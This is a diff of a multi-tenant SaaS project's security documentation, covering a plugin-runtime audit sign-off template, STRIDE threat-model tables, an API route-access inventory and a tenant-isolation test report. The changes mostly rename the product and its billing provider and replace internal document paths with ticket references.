@@ -64,12 +64,12 @@ signatures on that finding's row.
|
||||
## 3. Remediation references
|
||||
|
||||
One row per Critical or High finding. Medium and Low findings are tracked
|
||||
in `docs/improvement-plan/06-plugin-system/security-findings/<id>.md` and
|
||||
do not need to appear in this table.
|
||||
in `docs/security/plugin-internal-findings.md` or follow-up tickets and do
|
||||
not need to appear in this table.
|
||||
|
||||
| Finding ID | Severity | Short description | Detail MD | Remediation commit(s) | Re-test result |
|
||||
|---|---|---|---|---|---|
|
||||
| F-001 | _ | _ | `docs/improvement-plan/06-plugin-system/security-findings/F-001.md` | `_______` | green / red |
|
||||
| F-001 | _ | _ | `docs/security/plugin-internal-findings.md#f-001` | `_______` | green / red |
|
||||
| F-002 | _ | _ | _ | _ | _ |
|
||||
| F-003 | _ | _ | _ | _ | _ |
|
||||
| _ | _ | _ | _ | _ | _ |
|
||||
@@ -128,8 +128,8 @@ By signing below, the parties confirm:
|
||||
covered by signed manifest metadata: `ui.settings.entry` must be paired
|
||||
with a manifest-declared SHA-256 (`sha256` or SRI-compatible `integrity`),
|
||||
and the host must verify the bundle bytes before returning iframe HTML.
|
||||
- Medium and Low findings are recorded in
|
||||
`docs/improvement-plan/06-plugin-system/security-findings/`.
|
||||
- Medium and Low findings are recorded in `docs/security/plugin-internal-findings.md`
|
||||
or follow-up tickets.
|
||||
- The sanitized public report is archived at
|
||||
`docs/security-reviews/plugin-runtime-YYYY-MM-DD.md`.
|
||||
- The full report is archived at
|
||||
@@ -139,10 +139,10 @@ By signing below, the parties confirm:
|
||||
|
||||
| Role | Name | Organization | Date | Signature |
|
||||
|---|---|---|---|---|
|
||||
| Operator | _________ | toolctrl / @toolctrl/boilerplate | _________ | _________ |
|
||||
| Operator | _________ | hivegrid / @hivegrid/boilerplate | _________ | _________ |
|
||||
| Lead auditor | _________ | <firm> | _________ | _________ |
|
||||
| Engineering lead (optional) | _________ | toolctrl | _________ | _________ |
|
||||
| DPO (required if findings touched PII) | _________ | toolctrl | _________ | _________ |
|
||||
| Engineering lead (optional) | _________ | hivegrid | _________ | _________ |
|
||||
| DPO (required if findings touched PII) | _________ | hivegrid | _________ | _________ |
|
||||
|
||||
Wet signatures or PGP-signed digital signatures both acceptable. PGP
|
||||
signature blocks may be appended below this table; the corresponding
|
||||
@@ -155,10 +155,9 @@ firm's published key directory.
|
||||
|
||||
Once this document is signed in §6, the following are authorized:
|
||||
|
||||
1. `PROGRESS.md` Phase 06 Task #23 status moves to `completed`.
|
||||
2. `docs/improvement-plan/BLOCKERS.md` B-006 entry moves from "Open" to
|
||||
"Resolved" with a one-paragraph close-out referencing this sign-off
|
||||
document by git SHA.
|
||||
1. The relevant HiveGrid ticket/status entry moves to completed.
|
||||
2. The rollout blocker is closed with a one-paragraph close-out referencing
|
||||
this sign-off document by git SHA.
|
||||
3. The operator may allow production tenant plugin execution on the
|
||||
dedicated `worker-plugin` service with `WORKER_QUEUE_GROUP=plugin` and
|
||||
the audited plugin env matrix documented in
|
||||
@@ -194,12 +193,11 @@ of the following happens after production rollout:
|
||||
(or set `WORKER_ENABLED=false` on that service and redeploy). This stops
|
||||
`plugin.invoke` consumption without disabling core web/API/worker
|
||||
services.
|
||||
2. Pause or drain the `toolctrl.plugin-invoke` queue if jobs are still
|
||||
2. Pause or drain the `hivegrid.plugin-invoke` queue if jobs are still
|
||||
accumulating, then disable affected tenant plugins through the plugin
|
||||
lifecycle UI/API so no new invocations are enqueued after recovery.
|
||||
3. Page on-call per `docs/security/incident-response.md`.
|
||||
4. File a new entry in `docs/improvement-plan/BLOCKERS.md` (next B-NNN
|
||||
ID) referencing this sign-off and the triggering event.
|
||||
4. File a new blocker ticket referencing this sign-off and the triggering event.
|
||||
5. New audit cycle required: either a delta-audit from the same firm
|
||||
(preferred) or a fresh full audit before re-rollout.
|
||||
6. New sign-off document at `docs/security/plugin-runtime-signoff.md`
|
||||
|
||||
@@ -87,7 +87,7 @@ Mitigation links use `file:line` for the primary anchor. **Every linked line mus
|
||||
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
|
||||
| ------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Spoofing** | Attacker writes rows with another tenant's id. | Recorder is invocation-scoped — `tenantId` set once at construction (`audit.ts:114-119`) and copied into every record. Insertion goes through `PluginCapabilityUseStore.insertMany` (`apps/worker/src/jobs/plugin-capability-use.ts:39`), itself called only from the worker handler. | None at the runtime layer. The outbox queue must remain operator-only writeable. |
|
||||
| **Tampering** | Rows modified after-write to hide an exfiltration. | Postgres-level: only the schema-owner role can `UPDATE` directly. App-level: there is no `UPDATE PluginCapabilityUse` code path. Rows are hash-chained per tenant through `prevHash` / `rowHash`, and operators verify integrity with `toolctrl-cli plugins verify-audit-chain <tenantId>`. | Keep the verifier in the production runbook; a web endpoint remains deferred. |
|
||||
| **Tampering** | Rows modified after-write to hide an exfiltration. | Postgres-level: only the schema-owner role can `UPDATE` directly. App-level: there is no `UPDATE PluginCapabilityUse` code path. Rows are hash-chained per tenant through `prevHash` / `rowHash`, and operators verify integrity with `hivegrid-cli plugins verify-audit-chain <tenantId>`. | Keep the verifier in the production runbook; a web endpoint remains deferred. |
|
||||
| **Repudiation** | Operator/tenant denies an action. | Two-tier evidence: per-invocation row (`Plugin.installedAt` + audit-events table for install) **and** per-capability-use row. | None. |
|
||||
| **Info disclosure** | Body content stored in audit → DSGVO violation. | **Bodies are NEVER stored.** `payloadHash` is SHA-256 of an arg-shape descriptor only (`audit.ts:173-175`). No URL bodies, no DB row payloads. | None when used as designed. Plugin authors writing custom `descriptor` strings that contain PII are a separate problem — `hashCapabilityPayload` should be the only path. |
|
||||
| **DoS** | Plugin spams the recorder until heap exhausts. | `maxEntries` cap (default 1024) per invocation (`audit.ts:91, 109`); excess entries are dropped with a `warn` log. | None. |
|
||||
@@ -173,7 +173,7 @@ Mitigation links use `file:line` for the primary anchor. **Every linked line mus
|
||||
|
||||
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
|
||||
| ---------------------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
|
||||
| **DoS / availability** | After a sandbox-escape report, runtime must be killable quickly. | Stop/scale the dedicated `worker-plugin` service to zero (or redeploy it with `WORKER_ENABLED=false`), pause/drain `toolctrl.plugin-invoke`, and disable affected plugins through lifecycle controls. | Residual operator risk: this is an operational stop path, not a runtime env flag. Runbooks and deploy tooling must keep `worker-plugin` separately controllable from core workers. |
|
||||
| **DoS / availability** | After a sandbox-escape report, runtime must be killable quickly. | Stop/scale the dedicated `worker-plugin` service to zero (or redeploy it with `WORKER_ENABLED=false`), pause/drain `hivegrid.plugin-invoke`, and disable affected plugins through lifecycle controls. | Residual operator risk: this is an operational stop path, not a runtime env flag. Runbooks and deploy tooling must keep `worker-plugin` separately controllable from core workers. |
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -33,10 +33,12 @@ the typed source of truth.
|
||||
| `service-or-tenant-api-key` | Service credential or tenant-bound stored API-key boundary with route-specific tenant and permission checks. |
|
||||
| `optional-api-key-validation` | Public validation helper that optionally accepts a presented stored API key or service token and returns redacted validation status. |
|
||||
| `tenant-api-key` | Tenant-bound stored API-key boundary where the credential scopes the tenant and available usage metadata. |
|
||||
| `tenant-webhook-credential` | Tenant-bound incoming webhook credential boundary using a stored API key, hashed webhook token, or HMAC signature tied to a tenant endpoint. |
|
||||
| `jwt-auth` | Bearer JWT authenticated user boundary. |
|
||||
| `auth-credential-exchange` | Public credential exchange that consumes submitted credentials and issues authenticated API state after validation. |
|
||||
| `public-analytics-token` | Public analytics ingress or aggregate read surface scoped by analytics token/payload semantics rather than browser session state. |
|
||||
| `webhook-signature` | Signed webhook ingress boundary that verifies provider signing headers before processing an addressed webhook retry. |
|
||||
| `provider-refetch-webhook` | Provider webhook ingress that trusts only an opaque provider object id, refetches the authoritative record from the provider server-side, and syncs redacted tenant-scoped metadata instead of the posted payload. |
|
||||
| `canonical-redirect` | Runtime-only compatibility shim that redirects removed API-prefix requests to the canonical API path without reading request data. |
|
||||
|
||||
## Full Route Access Table
|
||||
@@ -63,7 +65,14 @@ the typed source of truth.
|
||||
| `GET /v1/accounts` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account listing requires service credentials before returning tenant account metadata and subscription summaries. |
|
||||
| `GET /v1/accounts/:id` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account lookup requires service credentials before returning one tenant account metadata and subscription summary. |
|
||||
| `GET /v1/usage` | `tenant-api-key` | Returns plan and remaining API usage metadata for the credential-scoped tenant. | Usage lookups enter through the canonical API host and validate tenant API-key credentials in the API runtime. |
|
||||
| `POST /v1/billing/stripe/webhooks` | `webhook-signature` | Consumes signed billing lifecycle webhook payloads without returning signing material or plaintext credentials. | Stripe billing webhook ingress enters through the canonical API host and verifies the raw signed payload in the API runtime. |
|
||||
| `GET /v1/contacts` | `tenant-api-key` | Returns redacted contact fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API contact reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
|
||||
| `GET /v1/companies` | `tenant-api-key` | Returns redacted organisation contact fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API company reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
|
||||
| `GET /v1/deals` | `tenant-api-key` | Returns redacted sales-pipeline project fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API deal reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
|
||||
| `GET /v1/projects` | `tenant-api-key` | Returns redacted project fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API project reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
|
||||
| `GET /v1/tasks` | `tenant-api-key` | Returns redacted task fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API task reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
|
||||
| `GET /v1/leads` | `tenant-api-key` | Returns redacted lead-inbox fields for the credential-scoped tenant; raw payloads, anti-spam internals and credential material are omitted. | Public API lead reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
|
||||
| `POST /v1/webhooks/incoming/:tenant/:slug` | `tenant-webhook-credential` | Consumes third-party lead payloads and stores redacted ingestion metadata; API keys, webhook tokens, HMAC material and raw signing secrets are omitted from responses. | Incoming public webhooks enter through the canonical API host, resolve the tenant endpoint, validate the endpoint credential mode and create only tenant-scoped lead intake records. |
|
||||
| `POST /v1/billing/mollie/webhooks` | `provider-refetch-webhook` | Consumes a provider payment id and stores redacted billing lifecycle metadata without returning provider payloads or plaintext credentials. | Mollie billing webhook ingress accepts only the provider payment id, refetches that payment from Mollie server-side, and syncs only tenant-scoped billing metadata from the verified payment. |
|
||||
| `POST /v1/email-sequences/mailjet/webhooks` | `webhook-signature` | Consumes signed delivery event metadata while responses omit provider payloads, recipient data, and signing material. | Email-sequence provider webhooks verify Mailjet signing headers before correlating bounce events to provider message ids. |
|
||||
| `GET /v1/workspaces/:tenantId/auth/providers` | `service-token` | Returns redacted OIDC/SAML provider metadata only; client secrets, SAML certificate bodies, private keys, token hashes, invite tokens, and raw metadata documents are omitted. | Workspace auth-provider discovery requires a service token before returning tenant-scoped SSO metadata. |
|
||||
| `POST /v1/workspaces/:tenantId/context/revalidate` | `service-token` | Consumes tenant and user identifiers and returns a redacted validity envelope without provider secrets, invite tokens, token hashes, or SSO secret material. | Workspace context revalidation requires a service token before confirming tenant/user membership for a context switch. |
|
||||
@@ -73,19 +82,10 @@ the typed source of truth.
|
||||
| `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | `service-token` | Consumes revoke audit metadata and returns redacted invite lifecycle metadata without token material. | Workspace invite revocation requires a service token before finalizing the tenant-scoped invite as revoked. |
|
||||
| `POST /v1/events/webhooks/attempts/:id` | `webhook-signature` | Consumes signed webhook delivery metadata and an attempt id while omitting provider payloads and signing material from responses. | Webhook retry verifies Mailjet webhook signing headers before looking up or queueing a known delivery attempt. |
|
||||
| `POST /v1/maintenance/export-retention/enqueue` | `service-token` | Consumes an optional bounded batch size and returns only queue task metadata plus request correlation. | Export artifact retention cleanup is an operator maintenance action and requires service credentials before enqueueing work. |
|
||||
| `GET /v1/entities/:entity/rows` | `service-or-tenant-api-key` | Returns tenant-scoped legacy entity row data. | Entity row listing requires a service token or scoped stored API key with read permission for the resolved entity. |
|
||||
| `POST /v1/entities/:entity/rows` | `service-or-tenant-api-key` | Consumes and stores tenant-scoped legacy entity row data. | Entity row creation requires a service token or scoped stored API key with create permission for the resolved entity. |
|
||||
| `GET /v1/entities/:entity/rows/:rowId` | `service-or-tenant-api-key` | Returns tenant-scoped legacy entity row data. | Entity row lookup requires a service token or scoped stored API key with read permission for the resolved entity. |
|
||||
| `PATCH /v1/entities/:entity/rows/:rowId` | `service-or-tenant-api-key` | Consumes and returns tenant-scoped legacy entity row data. | Entity row update requires a service token or scoped stored API key with update permission for the resolved entity. |
|
||||
| `DELETE /v1/entities/:entity/rows/:rowId` | `service-or-tenant-api-key` | Deletes tenant-scoped legacy entity row data and returns the deleted row id. | Entity row deletion requires a service token or scoped stored API key with delete permission for the resolved entity. |
|
||||
| `POST /v1/relationships` | `service-or-tenant-api-key` | Consumes row identifiers and returns relationship metadata. | Relationship creation requires a service token or scoped stored API key with create permission for both related entities. |
|
||||
| `GET /v1/relationships/:id` | `service-or-tenant-api-key` | Returns relationship metadata with parent and child row envelopes. | Relationship lookup requires a service token or scoped stored API key with read permission for both related entities. |
|
||||
| `DELETE /v1/relationships/:id` | `service-or-tenant-api-key` | Deletes and returns relationship metadata with parent and child row envelopes. | Relationship deletion requires a service token or scoped stored API key with delete permission for both related entities. |
|
||||
| `GET /v1/exports/:exportJobId/download-url` | `service-or-tenant-api-key` | Returns a signed artifact URL envelope without artifact bucket/key values, storage credentials, pause reason internals, filters, or object bodies. | Export download URL creation requires service credentials or a tenant-bound stored API key and blocks compliance-paused exports before returning a short-lived signed artifact URL envelope. |
|
||||
| `GET /v1/exports/:exportJobId/progress` | `service-or-tenant-api-key` | Returns export progress envelope (status, percent, rowCount) — no artifact URLs, no compliance-pause internals, no filters. | Export progress polling requires service credentials or a tenant-bound stored API key; the handler scopes lookups to the caller's tenant and never leaks artifact bucket/key details. |
|
||||
| `POST /v1/devices/register` | `service-token` | Persists device-bound push token. Stored token is hashed at rest; response contains only the registration id + masked token preview. | Mobile push-token registration requires a service credential (bearer/API-key) carrying user identity; the body's userId + tenantId are reconciled against the authenticated principal downstream. |
|
||||
| `POST /v1/devices/revoke` | `service-token` | Returns revocation confirmation without echoing the device token or push provider internals. | Mobile push-token revocation requires a service credential; the handler revokes by token hash and never echoes the raw token. |
|
||||
| `GET /v1/entities/:entity` | `service-token` | Returns legacy entity schema and relationship details. | Legacy entity lookup requires service credentials before returning the named entity detail graph. |
|
||||
| `GET /status` | `public-health` | Boolean health state and deployment region tag only — no connection strings, hostnames or stack traces. | Unauthenticated status probe for external uptime monitors. Returns boolean-only health, revision, region, uptime. |
|
||||
| `GET /metrics` | `service-token` | Prom text-format counters and gauges — includes business KPIs (AI tokens, mail, webhook, queue depth). Token-protected. | Prometheus scrape endpoint requires bearer METRICS_TOKEN. Returns 404 when METRICS_ENABLED is false. |
|
||||
|
||||
|
||||
@@ -38,7 +38,7 @@ The output JSON has this shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"schema": "toolctrl.sbom-pnpm/v1",
|
||||
"schema": "hivegrid.sbom-pnpm/v1",
|
||||
"generatedAt": "<ISO timestamp>",
|
||||
"generator": "scripts/generate-sbom.mjs",
|
||||
"source": "pnpm list -r --json --depth=Infinity",
|
||||
@@ -189,4 +189,4 @@ This document is reviewed:
|
||||
|
||||
Update the "Last review" line below as part of the review.
|
||||
|
||||
_Last review: docs/improvement-plan/10-compliance-polish/security-docs.md task #69._
|
||||
_Last review: Task #69 security-docs closeout._
|
||||
@@ -8,9 +8,7 @@ This report summarizes committed Tenant Isolation tenant-isolation tests and S04
|
||||
|
||||
## Source Evidence
|
||||
|
||||
- apps/api/src/isolation/api-key-entity-rows.test.ts
|
||||
- apps/api/src/isolation/api-key-fixtures.test.ts
|
||||
- apps/api/src/isolation/api-key-relationships.test.ts
|
||||
- apps/api/src/isolation/api-key-service-boundaries.test.ts
|
||||
- apps/web/app/test/isolation/admin-routes.test.ts
|
||||
- apps/web/app/test/isolation/fixtures/user-session-isolation.test.ts
|
||||
@@ -20,10 +18,8 @@ This report summarizes committed Tenant Isolation tenant-isolation tests and S04
|
||||
|
||||
| Source | Test count | Checked access boundaries | Deny-path evidence |
|
||||
| --- | ---: | --- | --- |
|
||||
| apps/api/src/isolation/api-key-entity-rows.test.ts | 15 | tenant and user scoped resolver | 403 response for unauthorized tenant access; denied path skips data mutation or lookup |
|
||||
| apps/api/src/isolation/api-key-fixtures.test.ts | 4 | tenant and user scoped resolver | none observed |
|
||||
| apps/api/src/isolation/api-key-relationships.test.ts | 12 | relationship parent/child authorization; tenant and user scoped resolver | 403 response for unauthorized tenant access; denied credentials stop downstream access; denied path skips data mutation or lookup |
|
||||
| apps/api/src/isolation/api-key-service-boundaries.test.ts | 10 | tenant and user scoped resolver | 403 response for unauthorized tenant access; denied path skips data mutation or lookup |
|
||||
| apps/api/src/isolation/api-key-fixtures.test.ts | 7 | tenant and user scoped resolver | denied path skips data mutation or lookup |
|
||||
| apps/api/src/isolation/api-key-service-boundaries.test.ts | 9 | tenant and user scoped resolver | 403 response for unauthorized tenant access; denied path skips data mutation or lookup |
|
||||
| apps/web/app/test/isolation/admin-routes.test.ts | 4 | admin permission gate; tenant and user scoped resolver | 403 response for unauthorized tenant access; denied credentials stop downstream access; denied path skips data mutation or lookup; foreign tenant resource denied; skips cross-tenant API-key access when admin permission is denied; skips cross-tenant API-log access when admin auth is denied |
|
||||
| apps/web/app/test/isolation/fixtures/user-session-isolation.test.ts | 6 | API-key status logging boundary; tenant and user scoped resolver; tenant-scoped usage reporting | 403 response for unauthorized tenant access; denied credentials stop downstream access; foreign tenant resource denied; resets shared mocks and supports denied access status assertions |
|
||||
|
||||
|
||||
@@ -42,7 +42,7 @@ A full review is mandatory before every major-release tag.
|
||||
|
||||
Explicitly **out of scope** for this document (covered by vendor agreements / operator runbooks):
|
||||
|
||||
- Third-party provider compromise (Stripe, Mailjet, OpenAI, Bunny CDN, S3 host)
|
||||
- Third-party provider compromise (Legacy-Provider, Mailjet, OpenAI, Bunny CDN, S3 host)
|
||||
- Client-device theft or physical-access attacks
|
||||
- DNS hijack / registrar compromise
|
||||
- Operator-laptop compromise (covered by IT-security policy, not this repository)
|
||||
@@ -70,24 +70,24 @@ flowchart LR
|
||||
|
||||
Trust boundary: browser → web (CSRF token, origin allow-list, TLS). Boundary: web → API (signed JWT or shared session secret). Boundary: web → mail (provider API key, no PII beyond email + token).
|
||||
|
||||
### Stripe webhook flow
|
||||
### Legacy-Provider webhook flow
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
Stripe["Stripe (provider)"]
|
||||
API["API /v1/webhooks/stripe"]
|
||||
Legacy-Provider["Legacy-Provider (provider)"]
|
||||
API["API /v1/webhooks/legacyProvider"]
|
||||
Outbox[("OutboxEvent")]
|
||||
Worker["Worker<br/>dispatcher"]
|
||||
DB[("Postgres")]
|
||||
Stripe -- "POST + Stripe-Signature header" --> API
|
||||
API -- "verify signature with STRIPE_WEBHOOK_SIGNING_SECRET" --> API
|
||||
Legacy-Provider -- "POST + Legacy-Provider-Signature header" --> API
|
||||
API -- "verify signature with MOLLIE_API_KEY" --> API
|
||||
API -- "publishOutboxEvent (FOR UPDATE SKIP LOCKED)" --> Outbox
|
||||
Outbox -.-> Worker
|
||||
Worker -- "apply subscription change" --> DB
|
||||
Worker -- "publish cache-invalidation" -.-> DB
|
||||
```
|
||||
|
||||
Trust boundary: Stripe → API (HMAC signature, replay window from `Stripe-Timestamp`, idempotency key recorded). Boundary: API → outbox (transactional write — no side-effects before commit). Boundary: worker → DB (per-row tenant scope).
|
||||
Trust boundary: Legacy-Provider → API (HMAC signature, replay window from `Legacy-Provider-Timestamp`, idempotency key recorded). Boundary: API → outbox (transactional write — no side-effects before commit). Boundary: worker → DB (per-row tenant scope).
|
||||
|
||||
### AI request flow (with cost tracking + quota)
|
||||
|
||||
@@ -95,7 +95,7 @@ Trust boundary: Stripe → API (HMAC signature, replay window from `Stripe-Times
|
||||
flowchart LR
|
||||
User["User UI"]
|
||||
Web["Web action / loader"]
|
||||
AICost["@toolctrl/ai/cost<br/>executeLLMCall"]
|
||||
AICost["@hivegrid/ai/cost<br/>executeLLMCall"]
|
||||
Quota["assertTenantAICreditAccess<br/>(spend-cache, 60s TTL)"]
|
||||
Provider["LLM provider<br/>(OpenAI / Scaleway / Anthropic)"]
|
||||
Outbox[("outbox.ai-cost")]
|
||||
@@ -112,7 +112,7 @@ flowchart LR
|
||||
Worker --> DB
|
||||
```
|
||||
|
||||
Trust boundary: user → web (auth + tenant). Boundary: web → provider (API key from `@toolctrl/config`, never read from UI code). Boundary: cost-publish → outbox (idempotency via requestId; payload sanitized — no prompt text persisted by default).
|
||||
Trust boundary: user → web (auth + tenant). Boundary: web → provider (API key from `@hivegrid/config`, never read from UI code). Boundary: cost-publish → outbox (idempotency via requestId; payload sanitized — no prompt text persisted by default).
|
||||
|
||||
### Plugin execution flow (foundation shipped; production sign-off pending)
|
||||
|
||||
@@ -161,10 +161,10 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
|
||||
| --- | --- | --- | --- |
|
||||
| **S** — Forged session cookie | Signed cookie via `SESSION_SECRET`, `Secure` + `HttpOnly`, SameSite resolved by runtime | `packages/config/src/session-cookie.test.ts`, `apps/web/app/utils/session.server.test.ts` | Stolen device → session theft. Mitigated operationally by short session TTL + IdP-side revoke (planned with Authentik). |
|
||||
| **S** — Magic-link replay | Single-use `MagicLinkToken` with `consumedAt` and TTL; rate-limited issuance | `packages/db/prisma/schema.prisma` (`MagicLinkToken`), `apps/web/app/utils/services/magic-link.server.test.ts` | TTL window allows one-time interception via mail-provider compromise. Accepted; mitigated by Mailjet SPF/DKIM. |
|
||||
| **T** — XSS via user content | React escaping by default, CSP planned (see B-005), no `dangerouslySetInnerHTML` in mutating routes | `apps/web/app/utils/csp.test.ts`, ESLint `react/no-danger` rule | CSP not yet enforced in production headers (tracked in `docs/improvement-plan` 10-compliance-polish). |
|
||||
| **T** — XSS via user content | React escaping by default, CSP planned (see B-005), no `dangerouslySetInnerHTML` in mutating routes | `apps/web/app/utils/csp.test.ts`, ESLint `react/no-danger` rule | CSP not yet enforced in production headers; track via HiveGrid security ticket. |
|
||||
| **T** — CSRF on browser mutation | Per-session CSRF token required on POST/PUT/PATCH/DELETE; verified header-first | `apps/web/app/utils/session-csrf-sweep.test.ts`, `docs/security/csrf-inventory.md` | None known; new mutating routes must register an inventory entry (verified by test). |
|
||||
| **R** — Privileged action without audit | Mutating admin routes emit `AuditEvent` with hash-chain | `apps/web/app/routes/admin/audit-trails.test.tsx`, `verify:permission-matrix` | Full hash-chain verifier is gated by compliance-audit-export task; chain validation runs nightly. |
|
||||
| **I** — Tenant-isolation leak via crafted ID | Loaders resolve tenant from session, not URL; static inventory snapshot | `verify:tenant-isolation-report`, `docs/security/tenant-isolation-report.md` | C3 runtime cross-tenant test still pending (tracked in `docs/improvement-plan`). |
|
||||
| **I** — Tenant-isolation leak via crafted ID | Loaders resolve tenant from session, not URL; static inventory snapshot | `verify:tenant-isolation-report`, `docs/security/tenant-isolation-report.md` | C3 runtime cross-tenant test still pending; track via HiveGrid security ticket. |
|
||||
| **I** — Secret in HTML / log | `process.env` access banned in UI routes; pino redact rules | `packages/config/src/env-access-enforcement.test.ts` | Operator must verify Sentry PII scrubbers — see `docs/security/incident-response.md`. |
|
||||
| **D** — Login brute force | Sliding-window rate-limit on `/login`, structured 429 | `apps/web/app/utils/services/auth.server.test.ts` | Distributed credential stuffing still possible. Mitigated by password policy + TOTP. |
|
||||
| **E** — Permission bypass | Role/permission matrix from `permissions-seed.server.ts`; role-matrix tests enforce coverage | `packages/db/src/permissions-seed.server.test.ts`, `verify:permission-matrix` | None known. |
|
||||
@@ -176,7 +176,7 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
|
||||
| **S** — Forged JWT | HS256 verification with `JWT_SECRET`; refresh-path requires server-side state | `apps/api/src/auth/*.test.ts`, `verify:openapi-security` | Secret rotation runbook (see [incident-response.md](./incident-response.md)). |
|
||||
| **S** — Stolen API key | Hashed lookup; `API_KEY_LEGACY_PLAINTEXT_FALLBACK=false` in production; per-tenant scope at handler | `apps/api/src/route-access-inventory.test.ts`, `docs/security/route-access-inventory.md` | Key leaked in dependency repo → mitigated by hash-only storage. |
|
||||
| **T** — Idempotency replay | Idempotency keys recorded per tenant; idempotency table planned in compliance-audit-export | `apps/api/src/middleware/idempotency.test.ts` | Window between key issuance and recording. Accepted (millisecond order). |
|
||||
| **T** — Inbound webhook replay | Signature verification with provider secret + timestamp window; outbox prevents double-side-effect | `apps/api/src/routes/webhooks/stripe.test.ts` | Window of `STRIPE_WEBHOOK_TOLERANCE_SECONDS` (default 300s). |
|
||||
| **T** — Inbound webhook replay | Signature verification/refetch with provider secret + replay controls; outbox prevents double-side-effect | billing webhook tests | Provider-specific replay window or refetch policy. |
|
||||
| **T** — SSRF via outbound webhook URL | Outbound delivery rejects RFC1918, link-local, loopback, metadata IPs | `apps/worker/src/jobs/webhook-delivery.test.ts` (block-list) | DNS rebind possible during request; mitigated by per-attempt IP resolution. |
|
||||
| **R** — Repudiated admin API call | Every `/v1/admin/*` request emits AuditEvent with request-id linkage | `apps/api/src/openapi.test.ts`, `verify:permission-matrix` | None known. |
|
||||
| **I** — OpenAPI exposes admin route | OpenAPI guard rejects routes without explicit auth class | `apps/api/src/openapi.test.ts`, `verify:openapi-security` | None known. |
|
||||
@@ -193,7 +193,7 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
|
||||
| **T** — Queue poisoning | Each producer goes through typed `enqueueJob` with descriptor validation | `apps/worker/src/handlers.test.ts`, `apps/worker/src/enqueue.test.ts` | None known. |
|
||||
| **T** — Outbox replay | `OutboxEvent.processedAt`/dispatched flag + `FOR UPDATE SKIP LOCKED` claim | `apps/worker/src/jobs/outbox-claim.test.ts` | Two workers in race window: covered by integration test. |
|
||||
| **R** — Side-effect replay without audit | Outbox is the only path to external side-effects in critical flows; receivers wrap with `withOutboxIdempotency` | `apps/worker/src/jobs/outbox-dispatcher.test.ts` | Legacy direct producers still exist; migration tracked in #42 follow-ups. |
|
||||
| **I** — Job payload leak | PII-redaction at enqueue (`@toolctrl/logger` redact rules); SBOM excludes payload | `packages/logger/src/redact.test.ts` | Operator must verify Sentry breadcrumb scrubbers. |
|
||||
| **I** — Job payload leak | PII-redaction at enqueue (`@hivegrid/logger` redact rules); SBOM excludes payload | `packages/logger/src/redact.test.ts` | Operator must verify Sentry breadcrumb scrubbers. |
|
||||
| **D** — Queue starvation | Per-group queue separation (`general`, `mail`, `import`, `webhook`) + concurrency caps + job-priority | `apps/worker/src/queues.test.ts`, `docs/architecture/job-priority.md` | Operator must size per group; see runbook. |
|
||||
| **E** — Worker → DB privilege escalation | Worker connects with role limited to required tables; no admin DDL grants | `infra/postgres/init.sql` + Coolify role provisioning | Mis-grant by operator → audited via [`docs/operations/database-rollback.md`](../operations/database-rollback.md). |
|
||||
|
||||
@@ -234,7 +234,7 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
|
||||
| Threat | Mitigation | Evidence / Gate | Residual risk |
|
||||
| --- | --- | --- | --- |
|
||||
| **S** — Spoofed presigned URL | Server-side signing with provider IAM credentials; client never holds long-lived keys | `packages/storage/src/s3.test.ts` | None known. |
|
||||
| **T** — Upload of malicious file | AV scanner layer 1 (magic-bytes) + layer 2 (ClamAV planned) | `packages/storage/src/av-scan.test.ts`, `docs/improvement-plan/01-tech-debt-foundation/av-scanner-layer-*.md` | Layer 2 (ClamAV) container provisioning is operator step. |
|
||||
| **T** — Upload of malicious file | AV scanner layer 1 (magic-bytes) + layer 2 (ClamAV planned) | `packages/storage/src/av-scan.test.ts`, `docs/ops/asset-cdn.md` | Layer 2 (ClamAV) container provisioning is operator step. |
|
||||
| **I** — Public bucket exposure | Buckets default to private; ACL test enforces | `packages/storage/src/bucket-policy.test.ts` (operator-run) | Operator must verify per environment. |
|
||||
| **D** — Egress cost burn | Per-tenant rate-limit on signed-URL issuance | `packages/storage/src/rate-limit.test.ts` | Operator-side WAF + Bunny CDN absorb large bursts. |
|
||||
| **E** — Cross-tenant object read | Object key prefixed with `tenant:{tenantId}/...`; loader verifies prefix matches actor's tenant | `packages/storage/src/key-scope.test.ts` | None known. |
|
||||
@@ -380,17 +380,17 @@ Each table follows the same shape: **Threat** (the STRIDE category and concrete
|
||||
|
||||
## Cross-cutting controls
|
||||
|
||||
- **Secret handling** — secrets never read from UI code; `@toolctrl/config` exposes typed loaders. `.env.test` allow-listed; `.env` git-ignored. See `docs/env-access-inventory.md`.
|
||||
- **Secret handling** — secrets never read from UI code; `@hivegrid/config` exposes typed loaders. `.env.test` allow-listed; `.env` git-ignored. See `docs/env-access-inventory.md`.
|
||||
- **Branding / infra parametrization** — `BRAND_*` env vars and `scripts/infra-config.mjs` give forks override knobs without removing the verify-gate contract — see `docs/deployment-porting.md`.
|
||||
- **Migrations** — structural Prisma diff verified via `verify:db-migrate-status`; rollback procedure documented in `docs/operations/database-rollback.md`.
|
||||
